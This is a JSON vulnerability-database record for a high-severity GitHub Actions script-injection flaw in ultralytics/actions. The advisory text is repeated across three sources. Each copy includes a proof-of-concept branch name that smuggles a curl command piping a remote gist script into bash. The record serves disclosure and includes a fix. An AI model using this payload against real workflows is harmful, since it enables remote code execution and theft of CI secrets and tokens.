{"id":"GHSA-7x29-qqmq-v6qc","aliases":[],"status":"published","title":"GitHub Actions Script Injection in `ultralytics/actions`","description":"### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n        echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n        echo \"github.ref: ${{ github.ref }}\"\n        echo \"github.head_ref: ${{ github.head_ref }}\"\n        echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2)\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.","severity":{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2024-08-14T20:53:47Z","modified":"2026-02-04T03:00:05Z","fixes":[{"ecosystem":"GitHub Actions","package":"ultralytics/actions","fixed_in":["0.0.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"GitHub Actions","package":"ultralytics/actions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.0.2"},{"fixed":"0.0.3"}]}]},{"source":"osv","ecosystem":"GitHub Actions","package":"ultralytics/actions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.3"}]}]}],"references":[{"url":"https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc","tags":["web"]},{"url":"https://github.com/ultralytics/actions/commit/8069e0ac4c23170f308ea6985783e64ca4a7900a","tags":["web"]},{"url":"https://github.com/advisories/GHSA-7x29-qqmq-v6qc"},{"url":"https://github.com/ultralytics/actions","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-7x29-qqmq-v6qc","title":"GitHub Actions Script Injection in `ultralytics/actions`","description":"### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n        echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n        echo \"github.ref: ${{ github.ref }}\"\n        echo \"github.head_ref: ${{ github.head_ref }}\"\n        echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2)\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.","status":"published","published":"2024-08-14T20:53:47Z","modified":"2024-11-18T16:27:05Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"high"},{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:38:20.012356Z"}],"osv":[{"id":"GHSA-7x29-qqmq-v6qc","title":"GitHub Actions Script Injection in `ultralytics/actions`","description":"### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n        echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n        echo \"github.ref: ${{ github.ref }}\"\n        echo \"github.head_ref: ${{ github.head_ref }}\"\n        echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2)\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.","status":"published","published":"2024-08-14T20:53:47Z","modified":"2026-02-04T03:00:05.114835Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"critical"},{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:41.732368Z"}]}}